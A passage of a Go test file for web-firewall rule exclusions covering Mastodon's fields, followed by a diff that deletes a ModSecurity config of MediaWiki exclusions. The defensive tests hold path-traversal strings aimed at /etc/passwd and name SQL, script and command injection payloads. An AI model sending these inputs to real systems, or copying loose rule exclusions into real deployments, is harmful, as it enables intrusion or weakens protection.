const mastodonStatuses = "/api/v1/statuses"
// mastodonInbox is a Mastodon account's inbox, which other servers deliver
// to.
const mastodonInbox = "/users/admin/inbox"
// Mastodon's paths for editing a profile, for filters, for the server's
// rules and its name, for signing in, and for signing up or changing the
// password.
const (
mastodonProfile = "/api/v1/accounts/update_credentials"
mastodonFilters = "/api/v2/filters"
mastodonRules = "/admin/rules"
mastodonBranding = "/admin/settings/branding"
mastodonSignIn = "/auth/sign_in"
mastodonAccount = "/auth"
)
// Mastodon's paths for the web app's profile editor, for signing up through
// the API, for reports, and for warning presets, roles and the terms of
// service.
const (
mastodonEditor = "/api/v1/profile"
mastodonSignUp = "/api/v1/accounts"
mastodonReports = "/api/v1/reports"
mastodonPresets = "/admin/warning_presets"
mastodonRoles = "/admin/roles"
mastodonTerms = "/admin/terms_of_service/draft"
)
// Fields, as the start of a form body: a title, a comment, a password and a
// post's text.
const (
mastodonTitle = "title="
mastodonComment = "comment="
mastodonPassword = "user[password]="
mastodonStatus = "status="
)
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
// and 932260 in the query, on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonQueryFields = []string{
"/api/v1/accounts/search?q=",
"/api/v1/accounts/lookup?acct=",
"/api/v1/admin/accounts?username=",
"/api/v1/admin/accounts?display_name=",
"/api/v1/admin/accounts?email=",
"/api/v2/admin/accounts?origin=local&username=",
"/api/v2/admin/accounts?by_domain=",
"/admin/accounts?username=",
"/admin/accounts?display_name=",
"/admin/accounts?email=",
"/admin/instances?by_domain=",
"/admin/custom_emojis?shortcode=",
"/admin/tags?name=",
"/search?q=",
"/api/v2/search?q=",
"/api/v2/search?type=accounts&resolve=true&q=",
}
// mastodonBodyField is a field of a body, sent to a path with a method.
type mastodonBodyField struct{ method, target, field string }
// mastodonFormFields sends each field that skips the four rules in a form
// data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, mastodonStatuses, "spoiler_text="},
{http.MethodPost, mastodonStatuses, "poll[options][]="},
{http.MethodPut, "/api/v1/media/1", "description="},
{http.MethodPatch, mastodonProfile, "display_name="},
{http.MethodPatch, mastodonProfile, "note="},
{http.MethodPatch, mastodonProfile, "fields_attributes[0][name]="},
{http.MethodPatch, mastodonProfile, "fields_attributes[1][value]="},
{http.MethodPost, "/api/v1/lists", mastodonTitle},
{http.MethodPut, "/api/v1/lists/1", mastodonTitle},
{http.MethodPost, mastodonFilters, mastodonTitle},
{http.MethodPost, mastodonFilters, "keywords_attributes[][keyword]="},
{http.MethodPost, mastodonFilters, "keywords_attributes[0][keyword]="},
{http.MethodPost, mastodonFilters + "/1/keywords", "keyword="},
{http.MethodPost, "/api/v1/featured_tags", "name="},
{http.MethodPost, mastodonReports, mastodonComment},
{http.MethodPost, "/api/v1/accounts/1/note", mastodonComment},
{http.MethodPost, "/api/v1/admin/accounts/1/action", "text="},
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
{http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
{http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
{http.MethodPost, mastodonRules, "rule[text]="},
{http.MethodPost, mastodonRules, "rule[hint]="},
{http.MethodPost, "/admin/announcements", "announcement[text]="},
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
{http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
{
http.MethodPost, "/admin/settings/about",
"form_admin_settings[site_extended_description]=",
},
{http.MethodPost, "/filters", "custom_filter[title]="},
{http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
{http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
{
http.MethodPost, "/admin/account_moderation_notes",
"account_moderation_note[content]=",
},
{http.MethodPost, mastodonPresets, "account_warning_preset[title]="},
{http.MethodPost, mastodonPresets, "account_warning_preset[text]="},
{http.MethodPost, mastodonRoles, "user_role[name]="},
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
{http.MethodPost, mastodonSignUp, "reason="},
}
// mastodonPasswordForms sends each password field in a form data body, on
// a path where it skips the four rules and the rules that random passwords
// set off.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonPasswordForms = []mastodonBodyField{
{http.MethodPost, mastodonSignIn, mastodonPassword},
{http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
{
http.MethodPost, "/settings/migration/redirect",
"form_redirect[current_password]=",
},
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
{http.MethodPost, mastodonSignUp, passwordField},
}
// mastodonPasswordJSON sends the password of signing up through the API in
// a JSON body, with %s for its value.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var mastodonPasswordJSON = mastodonBodyField{
http.MethodPost, mastodonSignUp, `{"password":%s}`,
}
// mastodonJSONFields sends each field that skips the four rules in a JSON
// body, on a path where it skips them, with %s for its value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonJSONFields = []mastodonBodyField{
{http.MethodPost, mastodonStatuses, `{"spoiler_text":%s}`},
{http.MethodPost, mastodonStatuses, `{"poll":{"options":["Yes",%s]}}`},
{http.MethodPut, mastodonFilters + "/1", `{"title":%s}`},
{http.MethodPut, "/api/v1/media/1", `{"description":%s}`},
{
http.MethodPut, mastodonStatuses + "/1",
`{"media_attributes":[{"id":"1","description":%s}]}`,
},
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
{http.MethodPatch, mastodonEditor, `{"note":%s}`},
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
{http.MethodPatch, mastodonProfile, `{"note":%s}`},
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
{http.MethodPost, mastodonReports, `{"comment":%s}`},
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
}
// mastodonStatusForms and mastodonStatusJSON send a post's text, which
// skips 932125, 932230 and 932235 too: in form data, and in JSON with %s
// for its value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var (
mastodonStatusForms = []mastodonBodyField{
{http.MethodPost, mastodonStatuses, mastodonStatus},
{http.MethodPut, mastodonStatuses + "/1", mastodonStatus},
}
mastodonStatusJSON = []mastodonBodyField{
{http.MethodPost, mastodonStatuses, `{"status":%s}`},
{http.MethodPut, mastodonStatuses + "/1", `{"status":%s}`},
}
)
// mastodonForm returns what crs finds in value, sent in sent's form data
// field.
func mastodonForm(t *testing.T, sent mastodonBodyField, value string) int {
t.Helper()
r := request{sent.method, sent.target, []string{formData}}
got, _ := inspectBody(t, readingBodies(t), r, sent.field+value)
return got.Score
}
// mastodonJSON returns what crs finds in value, which is not escaped, sent
// in sent's JSON field.
func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
t.Helper()
quoted, err := json.Marshal(value)
if err != nil {
t.Fatal(err)
}
r := request{sent.method, sent.target, []string{jsonBody}}
got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
return got.Score
}
// mastodonAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonAttacks = []string{
sqlInjection,
"..%2F..%2F..%2Fetc%2Fpasswd",
scriptInjection,
}
// mastodonScores returns what crs finds in value, escaped as a query value,
// sent in each field that skips the four rules: in the query, in form data
// and in JSON. Bodies are read whatever crs is. Each score is keyed by where
// value was sent.
func mastodonScores(
t *testing.T, crs *coreruleset.CoreRuleSet, value string,
) map[string]int {
t.Helper()
scores := map[string]int{}
for _, target := range mastodonQueryFields {
scores[target+value] = inspect(t, crs, get(target+value)).Score
}
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
}
unescaped, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
}
return scores
}
func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, attack := range mastodonAttacks {
for sent, score := range mastodonScores(t, atDefaults(t), attack) {
if score < mastodonThreshold {
t.Errorf("%s let through: %d", sent, score)
}
}
}
}
func TestMastodonPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mastodonPasswordForms {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{sent.method, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
})
}
t.Run("JSON", func(t *testing.T) {
t.Parallel()
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
[]string{jsonBody}}
wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password")
wantPasswordAttacksRefused(t, r, "password")
})
}
func TestMastodonPasswordConfirmationPasses(t *testing.T) {
t.Parallel()
challenge := []string{"form_challenge[current_password]"}
wantPasswordFieldsPass(t, []passwordFields{
{"/auth/challenge", formData, challenge},
{"/settings/two_factor_authentication/otp_authentication", formData, challenge},
{"/settings/two_factor_authentication_methods/disable", formData, challenge},
})
}
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, target := range mastodonQueryFields {
got := inspect(t, crs, get(target+commandInjection))
if got.Score < mastodonThreshold {
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
}
}
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
attack, err := url.QueryUnescape(commandInjection)
if err != nil {
t.Fatal(err)
}
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
if mastodonJSON(t, sent, attack) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
}
// mastodonCodePost is a post that names commands in code, as recorded.
const mastodonCodePost = "Today I learned: `ls -la ~/.config` lists hidden files, " +
"and `python3 -m http.server` serves a folder. https://example.org/notes"
func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, value := range hardValues {
for sent, score := range mastodonScores(t, readingBodies(t), value) {
if score >= mastodonThreshold {
t.Errorf("%s refused: %d", sent, score)
}
}
for _, sent := range mastodonPasswordForms {
if mastodonForm(t, sent, value) >= mastodonThreshold {
t.Errorf("%v with %s refused", sent, value)
}
}
}
code := url.QueryEscape(mastodonCodePost)
for _, sent := range mastodonStatusForms {
if mastodonForm(t, sent, code) >= mastodonThreshold {
t.Errorf("%v refused", sent)
}
}
for _, sent := range mastodonStatusJSON {
if mastodonJSON(t, sent, mastodonCodePost) >= mastodonThreshold {
t.Errorf("%v refused", sent)
}
}
}
// mastodonUpload is a file named .htaccess in a multipart body.
const mastodonUpload = "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
// mastodonActivityPub is the Accept header of a server looking up a link to
// a profile or a post, as recorded.
const mastodonActivityPub = `Accept: application/ld+json; ` +
`profile="https://www.w3.org/ns/activitystreams", application/activity+json, ` +
`text/html;q=0.1`
// mastodonReport is a report as the web app sends it, with %s for its
// forward value.
const mastodonReport = `{"account_id":"1","comment":"Spam","forward":%s,` +
`"forward_to_domains":[]}`
// mastodonForwardedReport is a report the web app forwards to another
// server, with %s for that server.
const mastodonForwardedReport = `{"account_id":"1","comment":"Spam","forward":true,` +
`"forward_to_domains":[%s]}`
func TestMastodonExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, refused := range []string{
"/?q=powershell",
"/api/v2/search?other=python3",
"/api/v1/timelines/home?q=python3",
"/api/v1/admin/users?username=python3",
"/admin/people?username=python3",
"/admin/reports?username=python3",
"/search/other?q=python3",
"/x/api/v2/search?q=python3",
"/admin/accounts/1?username=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < mastodonThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
// The Accept header of ActivityPub is still refused off the paths of
// Mastodon's accounts and posts.
for _, target := range []string{"/@admin", "/@admin/1", "/users/admin/statuses/1"} {
wantResult(t, crs, get(target, mastodonActivityPub), matched())
}
for _, target := range []string{"/", "/@admin/1/other", "/x/@admin"} {
wantResult(t, crs, get(target, mastodonActivityPub), matched(920600))
}
crs = readingBodies(t)
upload := request{
http.MethodPost, "/upload",
[]string{"Content-Type: multipart/form-data; boundary=b"},
}
got, _ := inspectBody(t, crs, upload, mastodonUpload)
if got.Score < mastodonThreshold {
t.Errorf("POST %s let through: %+v", upload.target, got)
}
for _, target := range []string{
"/api/v1/media", "/api/v2/media", mastodonProfile, mastodonEditor,
} {
upload.target = target
got, _ := inspectBody(t, crs, upload, mastodonUpload)
if got.Score >= mastodonThreshold {
t.Errorf("POST %s refused: %+v", target, got)
}
}
// The fields are excluded only on Mastodon's paths.
for _, sent := range []mastodonBodyField{
{http.MethodPost, "/api/v1/repos/issues", mastodonTitle},
{http.MethodPost, "/user/login", mastodonPassword},
{http.MethodPost, "/comments", mastodonStatus},
} {
if mastodonForm(t, sent, "python3") < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
for _, sent := range []mastodonBodyField{
{http.MethodPost, "/outbox", `{"object":{"content":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"url":%s}}`},
} {
if mastodonJSON(t, sent, "python3") < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
}
func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
t.Parallel()
// A report's forward keys pass by name, and their values are still
// checked.
for _, sent := range []struct{ body, value string }{
{mastodonReport, "false"},
{mastodonForwardedReport, "remote.example"},
} {
report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
t.Errorf("%v refused: %d", report, got)
}
if got := mastodonJSON(t, report, `"../../etc/passwd"`); got < mastodonThreshold {
t.Errorf("%v with a path let through: %d", report, got)
}
report.target = mastodonStatuses
if got := mastodonJSON(t, report, sent.value); got < mastodonThreshold {
t.Errorf("%v let through: %d", report, got)
}
}
}
// mastodonUsername and mastodonHashtag are the sign-up form's username and
// the web app's featured hashtag, which skip only 932120 and 932260.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var (
mastodonUsername = mastodonBodyField{
http.MethodPost, mastodonAccount, "user[account_attributes][username]=",
}
mastodonHashtag = mastodonBodyField{
http.MethodPost, "/api/v1/featured_tags", `{"name":%s}`,
}
)
func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
t.Parallel()
// python3 and powershell can be a username or a hashtag; ls -la and
// .htaccess cannot.
passes, refused := hardValues[:2], hardValues[2:]
for _, value := range passes {
if mastodonForm(t, mastodonUsername, value) >= mastodonThreshold {
t.Errorf("username %s refused", value)
}
if mastodonJSON(t, mastodonHashtag, value) >= mastodonThreshold {
t.Errorf("hashtag %s refused", value)
}
}
for _, value := range slices.Concat(
refused, mastodonAttacks, []string{commandInjection},
) {
if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
t.Errorf("username %s let through", value)
}
unescaped, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
if mastodonJSON(t, mastodonHashtag, unescaped) < mastodonThreshold {
t.Errorf("hashtag %q let through", unescaped)
}
}
// Elsewhere both keep the two rules.
signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
if mastodonForm(t, signIn, "python3") < mastodonThreshold {
t.Errorf("%v let through", signIn)
}
statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
t.Errorf("%v let through", statuses)
}
}
// mastodonEmail is the email address on the sign-up, sign-in, password
// reset and account settings forms, as the start of a form body.
const mastodonEmail = "user[email]="
func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
t.Parallel()
for _, target := range []string{mastodonAccount, mastodonSignIn, "/auth/password"} {
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
for _, address := range []string{
"python3%40example.com",
"powershell%40example.com",
"jane.profile%40example.com",
"notes.htaccess%40example.com",
} {
if mastodonForm(t, sent, address) >= mastodonThreshold {
t.Errorf("%v with %s refused", sent, address)
}
}
// The address keeps 932250 and the rules that refuse attacks.
for _, value := range slices.Concat(
[]string{"ls%20-la"}, mastodonAttacks, []string{commandInjection},
) {
if mastodonForm(t, sent, value) < mastodonThreshold {
t.Errorf("%v with %s let through", sent, value)
}
}
}
// Elsewhere the address keeps every rule.
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
}
func TestMastodonBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ target, field string }{
{mastodonStatuses, mastodonStatus + "python3"},
{mastodonStatuses, "spoiler_text=python3"},
{mastodonRules, "rule[text]=python3"},
{mastodonRoles, "user_role[name]=python3"},
{mastodonSignIn, mastodonPassword + "python3"},
{mastodonSignIn, mastodonEmail + "python3"},
{mastodonSignUp, "password=python3"},
{mastodonInbox, "json.object.content=python3"},
} {
target := sent.target + "?" + sent.field
r := request{http.MethodPost, target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mastodonThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
-395
View File
@@ -1,395 +0,0 @@
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter of
# that name, so it matters only while SWW_WAF_BODY_LIMIT is set. MediaWiki's
# paths are matched at the site root and under /w/.
#
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
# with a page title, in the query or after the path:
# /index.php?title=Main_Page
# /index.php/Main_Page, where a wiki without short URLs serves its pages
# Pages under /wiki/ need neither.
#
# Four rules read a search, a title or a name as a command or a system file.
# Each exclusion below for such a field removes these four:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address:
# title: /index.php?title=Python3_notes&action=history
# search: /index.php?search=python3&title=Special:Search
# target: /wiki/Special:WhatLinksHere?target=Python3+notes
# page, user: /wiki/Special:Log?user=Admin&page=Python3+notes
# username: /wiki/Special:ListUsers?username=python3
# from, to: /wiki/Special:AllPages?from=python3
# prefix: /wiki/Special:PrefixIndex?prefix=python3
# returnto, returntoquery: /wiki/Special:UserLogin?returnto=Python3_notes
# ilsearch: /wiki/Special:ListFiles?ilsearch=python3
# filename: /wiki/Special:FileDuplicateSearch?filename=Pic+python3.png
# wpDestFile: /wiki/Special:Upload?wpDestFile=Pic+python3.png
# wpTarget: /wiki/Special:BlockList?wpTarget=Python3, and blocking or
# unblocking the user Python3
# Uploaded files' names skip 932180, as on the API below.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900900,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932180;FILES"
# The API's searches, titles, names and file names, in the query or the body:
# search: /api.php?action=opensearch&search=python3
# srsearch, pssearch: /api.php?action=query&list=search&srsearch=python3
# titles, title, page: /api.php?action=parse&page=Python3+notes
# from, to: moving a page, from=Python3+notes&to=Ls+-la+notes
# apfrom, apto, apprefix: /api.php?action=query&list=allpages&apfrom=python3
# aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3
# aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3
# bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes
# gsrsearch, gpssearch, gapfrom, gapto, gapprefix, gaifrom, gaiprefix,
# gbltitle, geuquery: the same fields from a generator,
# /api.php?action=query&generator=allpages&gapprefix=python3
# euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3
# letitle: /api.php?action=query&list=logevents&letitle=Python3+notes
# ucuser: /api.php?action=query&list=usercontribs&ucuser=python3
# bkusers: /api.php?action=query&list=blocks&bkusers=Python3
# user: blocking, unblocking or changing the groups of a user, user=Python3
# summary, sectiontitle: saving a page, summary=Notes+on+python3
# filename, comment: uploading a file, filename=Api+python3.png
# reason: moving or deleting a page, reason=python3
# lgname, lgpassword, username, password: signing in, password=python3
# Uploaded files' names skip 932180, which refused uploading
# "Api .htaccess.png" as a server's own file. Coraza keeps these names without
# the field each came in. MediaWiki refuses a file whose extension it does not
# allow.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900901,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932180;FILES"
# The search box's suggestions and the search through the REST API:
# /rest.php/v1/search/title?q=python3.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?rest\.php/" \
"id:900902,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The names of the scripts and styles a page loads, which 930120 read as a
# system file: /load.php?modules=jquery,moment,oojs,...|mediawiki.storage.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?load\.php$" \
"id:900903,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:modules"
# The fields below are in bodies, and skip the four rules there:
# wpSummary: saving a page, "Notes on python3, ls -la and .htaccess"
# wpUploadDescription: uploading a file
# wpName, wpPassword: signing in
# wpOldTitle, wpNewTitleMain, wpReason: moving a page to "Python3 notes"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900910,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
# These passwords skip each rule random passwords set off, on MediaWiki's pages:
# wpPassword: signing in and signing up
# and on /api.php:
# lgpassword: signing in with action=login
# password, retype: action=clientlogin, createaccount and
# changeauthenticationdata
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900917,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpPassword "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
